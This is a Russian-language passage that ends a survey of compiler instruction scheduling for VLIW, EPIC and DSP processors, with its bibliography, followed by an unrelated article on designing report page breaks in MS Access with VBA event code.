  • в предшествующем линейном участке, возможно, имеется свободная позиция в одном из командных слов, куда можно поместить рассматриваемую команду;


  • если команда имеет задержку (т.е. ее результат можно использовать только по истечению некоторого числа тактов), то выгодно запланировать ее выполнение как можно раньше, в особенности, если она находится на критическом пути.


  • Перенос команд выше точки ветвления можно назвать упреждающим выполнением (в англоязычной литературе используется термин speculative execution или control speculation), поскольку команда выполняются раньше, чем становится известно, будет ли передано управление в участок, где она изначально находилась.

    Рассмотрим ограничения, которые должны соблюдаться при переносе команд выше точки ветвления, на примере (рис. 13).

    Перенос команды C выше точки ветвления B (в участок ЛУ1) возможен при соблюдении двух ограничений (см. [30], [35], [48]):

    Ограничение 1. Прежнее значение регистра, в который C записывает свой результат, не требуется больше ни одной команде в ЛУ1 или в других участках, куда может быть передано управление из ЛУ1.

    Ограничение 2. Команда C не может вызвать прерывание, которое приведет к завершению программы.

    Некорректность переноса команды при несоблюдении второго ограничения можно проиллюстрировать на простом примере рис. 14.

    Планирование с соблюдением обоих ограничений называют "ограниченной фильтрацией" (restricted percolation). При соблюдении обоих ограничений число команд, перенос которых реально возможен, оказывается невелико, что значительно снижает эффективность глобального планирования. Поэтому важное значение имеют методы, позволяющие снять эти ограничения.

    Ограничение 1 можно снять путем переименования регистров - для значения, которое вычисляется в команде C, назначается другой регистр.

    Для снятия ограничения 2 необходимы средства аппаратной поддержки, описанные в следующем разделе.

  • Аппаратная поддержка глобального планирования
  • Упреждающее выполнение применяется как в динамическом (аппаратном) планировании в суперскалярных процессорах с неупорядоченной выдачей команд, так и в статическом планировании во время компиляции.


    Здесь будут рассмотрены характерные для EPIC-архитектур аппаратные расширения, которые позволяют планировать упреждающее выполнение команд во время компиляции. Существуют две модели поддержки упреждающего выполнения - модель неограниченной фильтрации (general percolation, см. [35]) и модель защищенного планирования (sentinel scheduling, см. [48]).

    Первая модель предполагает наличие в аппаратуре непрерываемых версий всех команд. Если планировщик переносит команду выше точки ветвления, то он использует ее непрерываемую версию. Упреждающее выполнение записей в память не допускается. Исключительные ситуации, если они возникают, игнорируются. Получаемые при этом неправильные результаты могут сказаться на дальнейшем выполнении, например, привести позднее к прерываниям или просто к неверным результатам.

    Вторая модель обеспечивает корректность статического планирования с применением упреждающего выполнения и включает следующие аппаратные расширения:

    1. В кодировку команд добавляется бит упреждающего выполнения. Если он установлен, то говорят, что команда выполняется в режиме упреждающего выполнения, в котором прерывания не выдаются. Если возникает исключительная ситуация, то в регистре результата устанавливается бит прерывания. То же происходит, если бит прерывания установлен хотя бы в одном из регистров-операндов. При выполнении команд в обычном режиме должны выдаваться прерывания, если хотя бы один из входных регистров имеет установленный бит прерывания (или если исключительная ситуация возникла при выполнении самой команды).

    2. К каждому регистру добавляется бит прерывания, который устанавливается при выполнении команд в режиме упреждающего выполнения, если возникает исключительная ситуация, и может быть опрошен при помощи специальной команды check_exception(R). С каждым регистром связывается также поле диагностики, в которое заносится программный адрес возникновения исключительной ситуации. Бит прерывания вместе с полем данных должны сохраняться и восстанавливаться при временном сохранении регистра в памяти.


    3. К системе команд добавляется команда для опроса бита прерывания заданного регистра check_exception(R). Если бит установлен, то возникает прерывание.

    При наличии перечисленных средств компилятор получает возможность закодировать упреждающее выполнение команды C следующим образом:

  • в новой позиции команды C (выше точки ветвления) помещается ее вариант с битом упреждающего выполнения;


  • в прежней позиции команды C помещается команда check_exception, для того чтобы обеспечить прерывание, если оно должно произойти. Если имеется команда, выполняемая в обычном режиме и использующая результат команды C, то команда check_exception не генерируется.


  • Пример из [48], показанный на рис. 15, демонстрирует применение указанных средств при планировании.

    A: if (r2==0) goto L1 *B: r1 = mem(r2)
    B: r1 = mem(r2) *C: r3 = mem(r4)
    C: r3 = mem(r4) *D: r4 = r1+1
    D: r4 = r1+1 *E: r5 = r3*9
    E: r5 = r3*9 A: if (r2==0) goto L1
    F: mem(r2+4) = r4 F: mem(r2+4) = r4
    G: check_exception(r5)
    a) b)
    Рис. 15. Планирование команд с упреждающим выполнением: a) исходный код; b) код, полученный в результате планирования. Буквы A-G служат для идентификации команд. Символом * отмечены команды с признаком упреждающего выполнения

    На рис. 15 показан код до и после планирования (в предположении, что исключительные ситуации возможны только при обращениях к памяти). Команды F и G обеспечивают проверку исключительных ситуаций, которые могли возникнуть при упреждающем выполнении команд B, C.

    Для того чтобы разрешить упреждающее выполнение команд записи в память, предусматривается аппаратное расширение, основанное на введении дополнительных полей в элементы буфера записи в память.

    Важным преимуществом модели защищенного планирования является поддержка адекватной диагностики исключительных ситуаций с указанием адреса фактического возникновения, даже если команда-источник выполнялась в упреждающем режиме.

    По результатам тестов, приведенным в [48], применение защищенного планирования по сравнению с ограниченной фильтрацией на задачах нечисловой обработки дает существенное ускорение результирующих программ.


    Например, для процессора с темпом выдачи 8 команд на такт коэффициент ускорения при использовании защищенного планирования был от 18 до 135% (в среднем на 57%) выше, чем при планировании с ограниченной фильтрацией.

    Для численных приложений, не содержащих большого числа условных переходов во внутренних циклах (таких как операции над матрицами), разница коэффициентов ускорения оказалась незначительной. Коэффициенты ускорения для этих приложений оказались достаточно высокими уже при ограниченной фильтрации. Для двух численных приложений с значительным количеством условных переходов во внутренних циклах улучшение коэффициента ускорения составило 36-38%.

    Другое аппаратное расширение, предназначенное для поддержки глобального планирования - средства условного выполнения команд ([15], [58]). Например, процессор TM1000 [32] позволяет задавать в команде предикатный операнд, в качестве которого может выступать любой из 128 регистров. В зависимости от значения младшего бита этого операнда результат операции будет записан или проигнорирован. Аналогичные возможности поддерживаются в процессоре IA-64 ([36], [60]) и др.

    Компилятор может слить условно выполняемый линейный участок с объемлющим участком, заменив составляющие его инструкции условно выполняемыми (рис. 16). В результате зависимости по управлению фактически заменяются зависимостями по данным, которые существенно удобнее с точки зрения планировщика.

    c:= вычислить(условие) c:= вычислить(условие) [c] goto then_label [c] B_THEN

    B_ELSE [!c] B_ELSE

    goto join_label

    then_label: B_THEN

    join_label: ...

    a) b)

    Рис. 16. Реализация конструкции "if (условие) then B_THEN else B_ELSE" при помощи условных переходов (a) и условным выполнением (b). Обозначение [c] указывает, что команда будет выполнена только если предикат c имеет значение "истина"

    В работе [44] рассматривается метод, позволяющий для заданной иерархии вложенных конструкций if-then-else выбрать оптимальные (по средней скорости выполнения результирующей программы) способы реализации.


    Поддержка условного выполнения делает особенно эффективным планирование в древовидных областях [32], [31]. Для каждого линейного участка древовидной области вычисляется предикат, который приписывается всем командам этого участка. В результате исключается большая часть условных переходов и появляется возможность планировать параллельное исполнение различных ветвей дерева.

  • Метод доминантного параллелизма при планировании в древовидных областях
  • Недостаток метода "дублирования хвостов" заключаются в генерации избыточного кода. При использовании упреждающего исполнения это приводит к нерациональному расходованию вычислительных ресурсов и может замедлить исполнение. В ряде случаев планировщик способен исключить отрицательные последствия при помощи метода доминантного параллелизма (dominator parallelism) [31]. Если команды из некоторого линейного участка BBi и его копии BBi' можно поднять в доминирующий участок BBk (являющийся общим предком BBi и BBi'), то можно оставить только по одному экземпляру команд. Пример ситуации, когда этот прием применим, показан на рис. 17.

  • Планирование по прогнозу значений данных
  • Упреждающее выполнение команд по прогнозу данных (data speculation) широко применяется в динамическом аппаратном планировании в суперскалярных процессорах. Смысл этого приема заключается в том, что значение объекта используется до того, как оно записано, в предположении, что значение останется прежним. Разумеется, если значение все-таки изменяется, процессор обеспечивает перевычисление команд, выполненных с упреждением. EPIC-архитектуры предоставляют аппаратную поддержку для использования аналогичного механизма при статическом планировании в компиляторе по отношении к объектам, хранящимся в памяти, см. [36] или [60].

    ... ...

    MEM(R0) = R1 R2=MEM(R3)' ; упреждающее

    ... ; чтение

    R2=MEM(R3) ...

    R4=R2+R2 MEM(R0)=R1

    ... check(address(R3)),L1

    R4=R2+R2

    a) b)

    Рис. 18. Перестановка операций чтения и записи с использованием аппаратной поддержки упреждающего чтения


    При наличии таких аппаратных средств компилятор получает возможность переупорядочивать команды чтения и записи памяти. Это может быть полезно по нескольким причинам:

  • как можно раньше выполнить команды считывания из памяти, лежащие на критическом пути;


  • использовать свободную позицию в командном слове,


  • исключить задержки, связанные с чтением данных из памяти.


  • На рис. 18a показан пример последовательности вычислений, содержащий команды записи в память (MEM(R0) = R1) и чтения из памяти (R2=MEM(R3)). Компилятор, вообще говоря, не имеет права запланировать чтение раньше записи, если он не имеет точной информации о том, что команда записи не перепишет считываемое значение.

    Аппаратная поддержка упреждающего считывания из памяти может состоять из следующих средств (см. [13], [36]):

  • имеется команда упреждающего считывания, которая считывает значение по указанному адресу и запоминает этот адрес во внутренней таблице процессора;


  • при записи в память и при обычном считывании содержимое таблицы проверяется, и если в ней присутствует указанный адрес, то соответствующий элемент таблицы помечается как недействительный (или просто исключается)


  • имеется команда, позволяющая узнать, не было ли записи по заданному адресу с момента упреждающего считывания по этому адресу; если запись была, то выполнить переход по указанному адресу. Подразумевается, что по этому адресу должен находиться компенсирующий код.


  • На рис. 18b показан пример перестановки чтения и записи памяти с использованием этих средств. Команда чтения (в упреждающем режиме) помещается до команды записи. На месте прежнего положения команды считывания (до использования результата) помещена команда проверки адреса. Если оказалось, что по этому адресу была произведена запись, то управление передается по метке L1, где размещается сгенерированный компилятором компенсирующий код.

  • Особенности генерации кода для ЦПОС
  • Особенности генерации эффективного кода для ЦПОС связаны как с нерегулярностью схем кодирования, так и с другими характерными чертами этих процессоров, такими как наличие специализированных команд, нескольких пространств памяти и др.


    В этом разделе представлены специфические подходы, применяемые в компиляторах для ЦПОС.

    Наиболее важной в контексте компиляции для ЦПОС представляется задача планирования (сжатия) кода. Специфика планирования для VLIW-процессоров с нерегулярными схемами кодирования связана с многочисленными ограничениями на параллельное исполнение команд, из-за которых существенно снижаются возможности использования внутреннего параллелизма программы при генерации кода. В ЦПОС также в меньшей степени представлены аппаратные расширения для поддержки параллелизма - условное выполнение, поддержка упреждающего выполнения. При этом именно для данного класса процессоров, в силу специфики областей применения, генерация оптимального кода имеет особенно важное значение.

    В силу перечисленных причин в компиляторах для ЦПОС вместо эвристического глобального планирования более разумным представляется применение алгоритмов для поиска точного оптимального решения в пределах линейных участков.

    В [45] приводятся следующие аргументы в пользу локального планирования:

  • Методы глобального планирования так или иначе опираются на локальные методы, которые сами по себе в контексте компиляции для ЦПОС еще недостаточно изучены и разработаны. Поэтому разумно начать с их детального исследования и оценки.


  • Популярные глобальные методы разрабатывались для регулярных VLIW-процессоров с высоким уровнем аппаратного параллелизма и проявили свою высокую эффективность для этого класса архитектур, в то время как в ЦПОС уровень параллелизма как правило значительно ниже из-за ограничений кодирования.


  • В глобальном планировании для сохранения корректности программы в нее приходится добавлять компенсирующий код. Это может привести к существенному увеличению размера программы, что неприемлемо, если объем памяти ограничен.


  • К этому можно добавить, что:

  • Преимущества глобального планирования экспериментально подтверждены для программ нечисленного характера; для программ численных расчетов выигрыш от глобального планирования, вероятно, не столь значителен.



  • Применение глобального планирования наиболее эффективно при наличии аппаратных расширений для его поддержки.


  • В [45] рассматривается подход к задаче локального планирования для определенного класса ЦПОС, основанный на методах целочисленного линейного программирования (см. [10]) и позволяющий находить кратчайший выходной код для процессора с заданными ограничениями на параллельное исполнение команд. Хотя время нахождения решения экспоненциально зависит от длины линейного участка, по мнению авторов, применение подобных подходов в компиляции для ЦПОС оправдано. Важная положительная черта предлагаемого метода заключается в поддержке вариантов команд - если процессор предоставляет несколько различных типов команд для выполнения одной и той же операции, то при поиске оптимального решения обеспечивается перебор вариантов.

    В [23] и [29] также представлены реализации локальной оптимизации кода для ЦПОС на основе методов линейного программирования. В этих реализациях совмещается решение задач распределения регистров, распараллеливания и выбора команд (code selection) с учетом наличия в процессоре составных операций типа A=A+B*C.

    Другая проблема, обусловленная нерегулярным характером кодирования, - способ представления ограничений на параллельное исполнение команд в планировщике. Если в регулярных ILP-архитектурах эти ограничения достаточно легко описать и представить в виде общего числа функциональных устройств каждого вида и наборов устройств, занимаемых каждой командой, то для процессоров с нерегулярным кодированием их рациональное представление составляет более сложную задачу. В [59] описывается подход, позволяющий свести нерегулярный набор ограничений к регулярному представлению путем определения набора искусственных аппаратных ресурсов и приписывания соответствующего мультимножества ресурсов каждому виду команд процессора. Недостатком предлагаемой реализации является то, что ее применимость ограничена слишком жесткими предположениями о структуре системы команд.

    Характерной особенностью многих ЦПОС является малое число регистров, их специализация или кластерная организация.


    Это также требует особых подходов при распараллеливании и выборе кода ([16], [43]).

    Как показано в [23], применение некоторых оптимизаций, считающихся машиннонезависимыми (таких как свертка констант, исключение общих подвыражений), в контексте компиляций для ЦПОС требует особых подходов с учетом специфики организации командного слова и числа доступных регистров в конкретном целевом процессоре.

    Поскольку при программировании для ЦПОС обычно налагаются ограничения на размер кода, то при реорганизациях циклов и встраивании функций необходимо учитывать этот фактор. С этой точки зрения интересна работа [42], где рассматривается методика встраивания функций с контролируемым ростом объема кода. Аналогичные методики могут быть полезны и для преобразований циклов.

    Важно понимать, что проблема генерации оптимального кода для ЦПОС не сводится только к задаче сжатия кода с учетом возможностей параллельного исполнения. Хороший компилятор для ЦПОС должен уметь эффективно использовать их архитектурные особенности - решать задачу оптимального размещения программных данных в пространствах памяти [41], поддерживать языковые расширения для указания пространства памяти в декларациях переменных [33], решать задачу выбора кода с учетом имеющегося набора команд в процессорах с системами команд для специальных приложений - Application Specific Instruction Set Processors (ASIP), (см. [16],[17]), выделять циклические буферы, оптимизировать способы адресации при обращениях к памяти (см. [29], [41], [46]) и др.

  • О роли языковых расширений
  • В различных реализациях компиляторов с языка Си для ILP-архитектур делаются попытка отразить на уровне входного языка специфику этих процессоров и особенности программирования для них ([14], [33]). Операции над комплексными, векторными, матричными данными, явно выраженные в терминах исходного языка, могут быть непосредственно отражены в эффективные связки команд ILP-процессоров.

    Комплексный тип данных зафиксирован в последнем стандарте языка Си [37]:


    #include

    complex float x, y = 1.0 + 3.0 * I;

    Для комплексного типа определен набор обычных операций и библиотечных функций.

    Векторные и матричные операции, привлекательные с точки зрения возможности напрямую использовать параллелизм на уровне команд, к сожалению, плохо “встраиваются” в синтаксис языка Си, поскольку имена массивов трактуются как описатели. Поэтому, например, в стандарте ANSI Numerical C, разработанном группой NCEG (Numerical C Extension Group) для численных приложений, введены понятия итератора и оператора суммирования, отражающие семантику матричных операций.

    Пример описания и использования итератора:

    iter I = N;

    A[I] = sin (2 * PI * I / N)

    Этот фрагмент программы эквивалентен следующему тексту на стандартном Си:

    int i;

    for (i = 0); i < N; i++)

    {

    A[i] = sin (2 * PI * i / N);

    }

    Пример вычисления произведения матриц с использованием итераторов и операторов суммирования:

    iter I=N, J=N, K=N;

    A[I][J] = sum (B[I][K] * C[K][J]);

    Суммирование здесь производится по итератору K. В общем случае суммирование проводится по всем свободным итераторам, т.е. итераторам, которые не встречаются в том же итераторе вне оператора суммирования.

    В работе [33] также предлагаются некоторые другие расширения, отражающие специфику ЦПОС – пространства памяти, циклические буферы.

    Положительные стороны такого рода расширений — краткость и естественность исходных текстов, возможность эффективно отобразить высокоуровневые операции в оптимальный для заданной целевой платформы код.

  • Заключение
  • Круг вопросов, связанных с генерацией эффективного кода для ILP-архитектур, охватывает проблемы формирования областей планирования, снятия зависимостей по данным и по управлению, алгоритмы планирования (распараллеливания) кода, соотношение между планированием и распределением регистров.

    Несмотря на обилие уже разработанных и опробованных подходов, создание эффективного компилятора для ILP-процессора в каждом конкретном случае остается непростой задачей.


    Сложность проблемы связана отчасти с тем, что эффективность практически всех методик существенно зависит как от аппаратных особенностей процессора (степень параллелизма, количество регистров, поддержка условного и упреждающего исполнения), так и от характера компилируемых программ (планирование в расширенных областях наиболее эффективно для программ управляющего характера; в программах вычислительного характера эффект от их применения менее значителен).

    Наиболее сложной, по-видимому, остается проблема генерации эффективного кода для ЦПОС. Для VLIW-процессоров с регулярной организацией командного слова основным препятствием к распараллеливанию команд является недостаточность программного параллелизма, поэтому усилия разработчиков компиляторов для них направлены, в основном, на его повышение (за счет расширения областей планирования и снятия зависимостей по данным и по управлению). При успешном решении этой задачи быстрые алгоритмы эвристического списочного планирования могут давать приемлемые результаты. В ЦПОС, в силу нерегулярности кодирования, распараллеливание команд затрудняется, в первую очередь, многочисленными сложными ограничениями кодирования. Поэтому для них необходимы более сложные и трудоемкие переборные методы, такие как [45] или [29]. В связи с этим особый интерес представляет разработка практичных алгоритмов оптимизированного перебора, позволяющих за разумное время осуществлять распараллеливание достаточно больших участков.

    Анализ работ, посвященных оптимизации кода для процессоров с параллелизмом на уровне команд показывает, что для достижения наилучших результатов необходимо применение комплекса оптимизаций, среди которых можно выделить следующие классы.

  • Преобразования циклов, направленные на усиление программного параллелизма – развертка циклов, слияние и разбивка циклов, конвейеризация циклов.


  • Преобразования, направленные на ослабление зависимостей по данным – перемещение кода, переименование регистров, дублирование переменных суммирования в циклах и др.



  • Применение методов глобального планирования потока команд на основе алгоритма списочного планирования.


  • Использования аппаратных средств поддержки упреждающего выполнения и упреждающего чтения данных.


  • Совмещение планирования команд и распределения регистров.


  • Применение локального планирования на основе целочисленного линейного программирования;


  • Реализация языковых расширений.


  • При выборе конкретных методов и их параметров необходимо учитывать уровень аппаратного параллелизма и другие особенности целевого процессора, а также характер типичных приложений.

  • Благодарности
  • Автор выражает благодарность Виктору Зиновьевичу Шнитману и Андрею Геннадьевичу Шадскому за полезные консультации.

  • Литература
  • Ахо А., Сети Р., Ульман Д., Компиляторы: принципы, технологии и инструменты. – М., Издательский дом "Вильямс", 2001.


  • Ахо А., Ульман Дж. Теория синтаксического анализа, перевода и компиляции, том 2. - М., Мир, 1978.


  • Балашов В.В., Капитонова А.П., Костенко В.А., Смелянский Р.Л., Ющенко Н.В. Метод и средства оценки времени выполнения оптимизированных программ. - Программирование #5, 2000, c. 52 61.


  • Вьюкова Н.И., Галатенко В.А., Самборский С.В., Шумаков С.М. Описание VLIW-архитектуры в оптимизирующем постпроцессоре. М.: НИИСИ РАН, 2001.


  • Дорошенко А.Ю., Куйвашев Д.В. Архитектура модульного кросс компилятора для микропроцессоров с очень длинным командным словом. - Проблемы программирования, 2000 г., N 3-4, с. 122-134 (на укр. языке).


  • Дорошенко А.Ю., Куйвашев Д.В. Интеллектуализация векторизующих компиляторов для микропроцессоров с длинным командным словом. - Проблемы программирования, 2001 г., N 1-2, с. 138-151 (на укр. языке).


  • Евстигнеев В.А. Некоторые особенности программного обеспечения ЭВМ с длинным командным словом (обзор). - Программирование, 1991, N 2, стр. 69-80.


  • Ершов А.П. Введение в теоретическое программирование. - М., Наука, 1977.


  • Калашников Д.В., Машечкин И.В., Петровский М.И. Планирование потока инструкций для конвейерных архитектур. - Москва, МГУ, Вестник Московского университета, серия 15 (вычислительная математика и кибернетика), N4, 1999, с. 39-44.



  • Пападимитриу Х., Стайглиц К. Комбинаторная оптимизация. - М., Мир, 1985.


  • Скворцов С.В. Оптимизация кода для суперскалярных процессоров с использованием дизъюнктивных графов. - Программирование 1996, N 2, стр. 41-52.


  • Французов Ю.А. Обзор методов распараллеливания кода и программной конвейеризации. - Программировние, 1992, N 3, стр. 16-37.


  • Шланскер М.С., Рау Б.Р. Явный параллелизм на уровне команд. Открытые Системы, #11-12, 1999.


  • ADSP-21000 Family. C Tools Manual. - Analog Devices, Inc. http://www.analog.com/publications/documentation/CTools_manual/books.htm


  • Allen J.R., Kennedy K., Porterfield C., Warren J.D. Conversion of Control Dependence to Data Dependence. Proceedings of the 10th ACM Symposium on Principles of Programming Languages. Jan. 1983, pp. 177-189.


  • Araujo G., Malik S. Optimal Code Generation for Embedded Memory Non-Homogeneous Register Architectures. - 8th Int. Symp. on System Synthesis (ISSS), 1995, pp. 36-41.


  • Araujo G., Malik S., Lee M. Using Register-Transfer Paths in Code Generation for Heterogeneous Memory-Register Architectures. - In ACM IEEE Design Automation Conference (DAC), number 33, pp. 591-596, June 1996.


  • Banerjia S., Havanki W.A., Conte T.M. Treegion Scheduling for Highly Parallel Processors. - Proceedings of the 3rd International Euro-Par Conference (Euro-Par'97, Passau, Germany), pp. 1074-1078, Aug. 1997.


  • Benitez M. E., Davidson J. W. Target-specific Global Code Improvement: Principles and Applications. - Technical Report CS-94-42, Department of Computer Science, University of Virginia, VA 22903.


  • Bernstein D., Rodey M. Global Instruction Scheduling for Superscalar Machines. - Proceedings of the SIGPLAN '91 Conference on Programming Language Design and Implementation, pp.241-255, June 1991.


  • Berson D. A., Gupta R., Soffa M. L. Integrated Instruction Scheduling and Register Allocation Techniques. - In Proc. of the Eleventh International Workshop on Languages and Compilers for Parallel Computing, LNCS, Springer Verlag, Chapel Hill, NC, Aug. 1998.



  • Bharadwaj J., Menezes K. McKinsey C. Wavefront Scheduling: Path Based Data Representation and Scheduling of Subgraphs. The Journal of Instruction-Level Parallelism, May 2000.


  • Bruggen T., Ropers A. Optimized Code Generation for Digital Signal Processors. - Institute for Integrated Signal Processing, http://www.ert.rwth-aahen.de/coal .


  • Chang P. P., Mahlke S. A., Chen W. Y., Warter N. J., Hwu W. W. IMPACT: An architectural framework for multipleinstruction-issue processors," in Proceedings of the 18th International Symposium on Computer Architecture, pp. 266-275, May 1991.


  • Eichenberger A. E., Davidson E. S., Abraham S. G. Minimizing Register Requirements of a Modulo Schedule via Optimum Stage Scheduling. - International Journal of Parallel Programming, February, 1996.


  • Eichenberger A. E., Lobo S. M. Efficient Edge Profiling for ILP-Processors. - Proceedings of PACT 98, 12-18 October 1998 in Paris, France..


  • Fisher J. A. Global code generation for instruction-level parallelism: Trace Scheduling-2. - Tech. Rep. HPL-93-43, Hewlett-Packard Laboratories, June 1993


  • Fisher J.A. Trace scheduling: A Technique for Global Microcode Compaction. - IEEE Transaction on Computers, vol. 7, pp. 478-490, July 1981.


  • Gebotys C. H., Gebotys R. J. Complexities In DSP Software Compilation: Performance, Code Size, Power, Retargetability. 1060-3425/98, IEEE, 1998.


  • Grossman J.P. Compiler and Architectural Techniques for Improving the Effectiveness of VLIW Compilation. – submitted to ICCD 2000.


  • Havanki W. A., Banerjia S., Conte T. M. Treegion Scheduling for Wide Issue Processors. - Proc. 4th Intl. Symp. on HighPerformance Computer Architecture, Feb. 1998, pp. 266-276.


  • Hoogerbrugge J., Augusteijn L. Instruction Scheduling for TriMedia. - The Journal of Instruction-Level Parallelism, February 1999


  • Horst E., Kloosterhius W., Heyden J. A C Compiler for the Embedded R.E.A.L DSP Architecture. - Материал получен с телеконференции comp.dsp.


  • Hsu P.Y.T., Davidson E.S. Highly Concurrent Scalar Processing. - Proceedings of the 13th Annual International Symposium on Computer Architecture, pp. 386-395.


    June 1986.


  • Hwu W.W., Mahlke S.A., Chen W.Y., Chang P.P., Warter N.J., Bringmann R.A., Quelette R.G., Hank R.E., Kiyohara T., Haab G.E., Holm J.G., Lavery D.M. The Superblock: An Effective Technique for VLIW and Superscalar Compilation. - The Journal of Supercomputing, vol. 7, pp. 229-249, May 1993.


  • IA-64 Application Developer's Architecture Guide. - Intel, May 1999.


  • ISO/IEC 9899:1999(E). Programming Languages - C. - ISO/IEC, 1999.


  • Kiyohara T., Gyllenhaal J. C. Code Scheduling for VLIW/ Superscalar Processors with Limited Register Files. Proceedings of the 25th International Symposium on Microarchitecture, Dec. 1992, pp. 197-201.


  • Leung A., Palem K.V. A fast algorithm for scheduling timeconstrained instructions on processors with ILP. - In The 1998 International Conference on Parallel Architectures and Compilation Techniques (PACT 98), Paris, October, 1998.


  • Leung A., Palem K.V. Scheduling Time-Constrained Instructions on Pipelined Processors. - Submitted for publication to ACM TOPLAS, 1999.


  • Leupers R. Code Generation for Embedded Processors. - ISSS 2000, Madrid/Spain, Sept. 2000.


  • Leupers R. Function Inlining under Code Size Constraints for Embedded Processors. – ICCAD’99, San Jose (USA), Nov 1999.


  • Leupers R. Instruction Scheduling for Clustered VLIW DSPs. -Proceedings of the 2000 International Conference on Parallel Architectures and Compilation Techniques (PACT'00).


  • Leupers R. Novel Code Optimization Techniques for DSPs.- 2nd European DSP Education and Research Conference, Paris/France, Sep 1998.


  • Leupers R., Marwedel P. Time-Constrained Code Compaction for DSPs. - 8th Int. System Synthesis Symposium(ISSS), 1995. Trans. on VLSI Systems, Vol. 5, no. 1, March 1997.


  • Liao S., Devadas S., Keutzer K., Tjiang S., Wang A. Storage Assignment to decrease code size. – ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI), pp. 186-195, 1995.


  • Lin W.-Y., Lee C.G., Chow P. An Optimizing Compiler for the TMS320C25 DSP Chip. - Proceedings of the 5th International Conference on Signal Processing Applications and Technology, pp.


    I-689I-694, October 1994.


  • Mahlke S. A., Chen W. Y., Hwu W. W., Rau B. R., Schlansker M. S. Sentinel Scheduling for VLIW and Superscalar Processors. - ASPLOS-V Conference Proceedings, October 1992.


  • Mahlke S.A., Lin D.C., Chen W.Y., Hank R.E., Bringmann R.A. Effective Compiler Support for Predicated Execution Using the Hyperblock. - Proceedings of the 25th Annual International Workshop on Microprogramming (Portland, Oregon), pp. 45-54, Dec. 1992.


  • Martin M. M., Roth A., Fischer C. N. Exploiting Dead Value Information. - 30th International Symposium on Microarchitecture, pages 125--135, December 1997.


  • Moreno J.H. Dynamic Translation of tree-instructions into VLIW. IBM Research Report, 1996.


  • Motorola DSP96000 User's Manual. - Motorola, Inc., 1990.


  • Motorola DSP96KCC User's Manual. - Motorola, Inc., 1990.


  • Ozer E., Banerjia S. Unified Assign and Schedule: A New Approach to Scheduling for Clustered Register File Microarchitectures. - Proceedings of the MICRO-31 - The 31th Annual International Symposiumon Microarchitecture, 1998.


  • Pai V. S., Adve S. Code Transformation to Improve Memory Parallelism. - The Journal of Instruction-Level Parallelism, May 2000.


  • Pendry A., Fenwick J. B., Norris J. C. Using SUIF as a Front-end Translator for Register Allocation and Instruction Scheduling Research. - In Second SUIF Compiler Workshop, Stanford, CA, August 1997.


  • Pinter S. Register Allocation with Instruction Scheduling: a New Approach. - Proceedings of the ACM SIGPLAN '93 Conference on Programming Language Design and Implementation, pages 248-257, 1993.


  • Pozzi L. Compilation Techniques for Exploiting Instruction Level Parallelism, a Survey. - Milano, Italy, 1998.


  • Rajagopalan S., Vachharajani M,. Malik S. Handling Irregular ILP Within Conventional VLIW Schedulers Using Artificial Resource Constraints. - CASES'00, November 17-19, 2000, San Jose, California.


  • Rao S. IA-64 Code Generation. – Electrical and Computer Engineering, June 2000.


  • Stallman R. Using and Porting GNU CC. - FSF, Boston, USA.




  • Access

    Проблемы отчетов в ACCESS Сергей Гущенко, Важным элементом программ работы с базами данных является механизм "отчетов". Так как структура баз может быть достаточно сложной, для реализации таких программ недостаточно знать основные возможности "конструктора отчетов". Может потребоваться знание ряда слабо документированных функций и технологических приемов
    Выходные документы в СУБД проектируются с помощью механизма отчетов. В MS Access этот механизм имеет массу возможностей, позволяющих создавать выходные документы без обращения к программированию на встроенном языке VBA. Однако не все задачи можно решить таким путем.
    Рассмотрим пример. Допустим, есть таблица "TELEFKOD" телефонных кодов с 528-ю записями, начало которой имеет следующий вид:
    NPP GOROD KOD_TEL OBLAST
    1 Авдеевка 06236 Донецкая
    2 Акимовка 06131 Запорожская
    3 Александрия 05235 Кировоградская
    4 Александровка 06269 Донецкая
    5 Александровка 05269 Кировоградская
    6 Алушта 06560 Крым

    Access
    Причем поле "NPP" имеет тип Счетчик (Длинное целое), особенность которого состоит в следующем: при удалении записи в этом поле удаляется и значение, которое больше повторяться не будет. В результате перечень порядковых номеров может не совпасть с перечнем значений в этом поле.
    В качестве выходного документа для этой таблицы подготовлен несложный отчет, вид которого в Конструкторе представлен на рис. 1.
    Access
    В этом отчете названия колонок (шапка таблицы) размещены в верхнем колонтитуле, в качестве номера по порядку используется поле "NPP", в нижнем колонтитуле указывается номер страницы и добавлено Примечание отчета с количеством выводимых записей и примером подписей. Модуль класса пустой (то есть никаких программных кодов на языке VBA нет). Распечатывается такой отчет без проблем. Но могут возникнуть претензии к размещению Примечания. По умолчанию его свойство Не разрывать имеет значение "Да". (рис. 2).
    Это означает: если всё Примечание не помещается на последней странице строк с данными, то оно будет целиком перенесено на следующую.
    Но не всегда такое решение допустимо - особенно если печатается финансовый документ. Поэтому можно поменять значение этого свойства на "Нет" - тогда Примечание будет начинаться сразу после вывода последней записи. Это решает рассматриваемую проблему, но не до конца. Может возникнуть ситуация, когда одна подпись (например, Директора) окажется на одной странице (последней с данными), а другая перенесется на следующую,- тоже плохо. Более приемлемым решением в этом случае - с небольшой высотой Примечания - было бы его размещение полностью на отдельной странице, но так, чтобы к нему сверху автоматически добавлялись несколько последних строк с данными. И вот тут без обращения к VBA уже не обойтись. Вариантом решения этой задачи может оказаться следующий текст Модуля класса с кодами обработки событий:

    Option Compare Database Option Explicit Dim I1 As Integer, KolZap As Integer, KolZ As Integer Dim dd As Database, zap As Recordset, Private Sub Report_NoData (Cancel As Integer) MsgBox (" А нету записей!") Cancel = True End Sub Private Sub Report_Open (Cancel As Integer) Set dd = CurrentDb Set zap = dd. OpenRecordset (" TELEFKOD", dbOpenDynaset) If Not zap. BOF Then zap. MoveLast KolZap = zap. RecordCount End If zap. Close KolZ = 0 End Sub Private Sub ВерхнийКолонтитул_Format (Cancel As Integer, FormatCount As Integer) Me![EndStr1]. Visible = False I1 = 0 End Sub Private Sub ОбластьДанных_Format (Cancel As Integer, FormatCount As Integer) I1 = I1 + 1 KolZ = Me. CurrentRecord If I1 > 39 Then If KolZap - KolZ < 3 Then Me![EndStr1]. Visible = True End If End If End Sub Во-первых, здесь по ходу дела задействовано интересное свойство Report_NoData - обработка ситуации, когда в таблице-источнике данных нет записей. Текст процедуры почти стандартен, строка Cancel = True приводит к прекращению печати отчета.

    Access
    Во-вторых, в Области данных установлен элемент управления Конец страницы (рис. 3), действие которого контролируется в модуле класса.


